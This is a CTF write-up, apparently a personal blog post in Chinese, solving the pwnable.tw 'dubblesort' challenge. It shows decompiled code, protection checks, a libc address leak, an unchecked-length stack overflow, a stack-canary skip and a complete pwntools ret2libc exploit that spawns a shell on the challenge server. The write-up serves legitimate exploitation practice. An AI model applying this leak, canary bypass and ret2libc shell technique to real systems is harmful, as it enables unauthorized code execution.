Pwnable.tw-Dubblesort

2024-09-23

Pwnable.tw-Dubblesort

Author: 堇姬Naup

libc

glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/i386/libc6/2.23-0ubuntu5

把i386載下來

1
dpkg -X libc6_2.23-0ubuntu5_i386.deb .

在libs裡面就有ld跟libc了

patchelf直接patch上去

1
2
patchelf --set-interpreter ld-2.23.so dubblesort
patchelf --replace-needed libc.so.6 ./libc-2.23.so dubblesort

IDA分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int nums_length; // eax
_BYTE *num_array; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int nums_want_sort; // [esp+18h] [ebp-74h] BYREF
_BYTE num_arr[32]; // [esp+1Ch] [ebp-70h] BYREF
int name_buf; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
init_f();
__printf_chk(1, "What your name :");
read(0, &name_buf, 0x40);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &nums_want_sort);
nums_length = nums_want_sort;
if ( nums_want_sort )
{
num_array = num_arr;
for ( i = 0; i < nums_want_sort; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", num_array);
nums_length = nums_want_sort;
num_array += 4;
}
}
sort_f(num_arr, nums_length);
puts("Result :");
if ( nums_want_sort )
{
for ( j = 0; j < nums_want_sort; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
return sub_BA0();
return result;
}

分析

看一下保護

1
2
3
4
5
6
7
8
pwndbg> checksec
File: /home/naup/Desktop/pwn/pwnable/doublesort/dubblesort
Arch: i386
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

一片綠

隨便亂試了一下,這邊印出name的地方有partial overwrite,可以用來leak stack上資料

1
2
3
4
5
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/doublesort$ ./dubblesort 
What your name :aaaaaaaaaaaaaa
Hello aaaaaaaaaaaaaa
,How many numbers do you what to sort :

他可以輸入0x40大小的資料,蓋28可以leaklibc,offset老方法attach上去算(我遇到了一些蠻玄幻的問題,應該是本地跟遠端殘留的stack不一樣,亂try了好多次試出了好的padding)

1
2
3
4
5
6
7
8
9
payload = b'a'*28

sla(b'What your name :',payload)

rcu(payload)
leaklibc = u32(r.recv(4))
libcbase = leaklibc - 0x1b000a
NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))

觀察一下他要你輸入你要排序的長度,卻沒有管控大小輸入,導致oob
檢查觸發了stack smashing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/doublesort$ ./dubblesort 
What your name :aaa
Hello aaa
g���/,How many numbers do you what to sort :27
Enter the 0 number : 1
Enter the 1 number : 2
Enter the 2 number : 3
Enter the 3 number : 4
Enter the 4 number : 5
Enter the 5 number : 6
Enter the 6 number : 7
Enter the 7 number : 8
Enter the 8 number : 9
Enter the 9 number : 10
Enter the 10 number : 11
Enter the 11 number : 12
Enter the 12 number : 13
Enter the 13 number : 14
Enter the 14 number : 15
Enter the 15 number : 16
Enter the 16 number : 17
Enter the 17 number : 18
Enter the 18 number : 19
Enter the 19 number : 20
Enter the 20 number : 21
Enter the 21 number : 22
Enter the 22 number : 23
Enter the 23 number : 24
Enter the 24 number : 25
Enter the 25 number : 26
Enter the 26 number : 27
Processing......
Result :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 *** stack smashing detected ***: ./dubblesort terminated
Aborted (core dumped)

現在問題就剩下stack canary了
隨便測了一下發現-會跳過當前的,所以我可以遇到canary輸入-跳過他,繼續往後寫

打ret2libc,這邊發現/bin/sh比較大,system比較小
所以說可以直接排
中間塞個system當padding就可以了

來看看整個stack

1
2
3
4
5
6
7
8
9
10
11
12
13
**num_arr ebp - 0x7c
0x7c - 0x1c = 96
96//4 = 24
sort 前 24 為 1
**canary ebp - 0x1c
** ebp - 0x18
0x18 // 4 = 6
6 + 1 = 7個padding成libc system剛好蓋完ebp
**ebp
ret 蓋 libc system
pad 蓋 lib system
最後蓋 binsh addr

基本上canary很少有機會比libc大,所以大部分情況可以work

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./dubblesort')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10101")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p()


### exploit

payload = b'a'*28

sla(b'What your name :',payload)

rcu(payload)
leaklibc = u32(r.recv(4))
libcbase = leaklibc - 0x1b000a

libc_system=libcbase + 0x3a940
binsh = libcbase + 0x158e8b

sla(b':',b'35')

# padding
for i in range(24):
sla(b':',b'1')

sla(b':',b'+') # canary

# padding to ebp
for i in range(7):
sla(b':',str(libc_system).encode())

sla(b':',str(libc_system).encode()) # ret
sla(b':',str(libc_system).encode())
sla(b':',str(binsh).encode()) # call

NAUPINFO('LEAKLIBC',hex(leaklibc))
NAUPINFO('LIBCBASE',hex(libcbase))


### interactive
ita()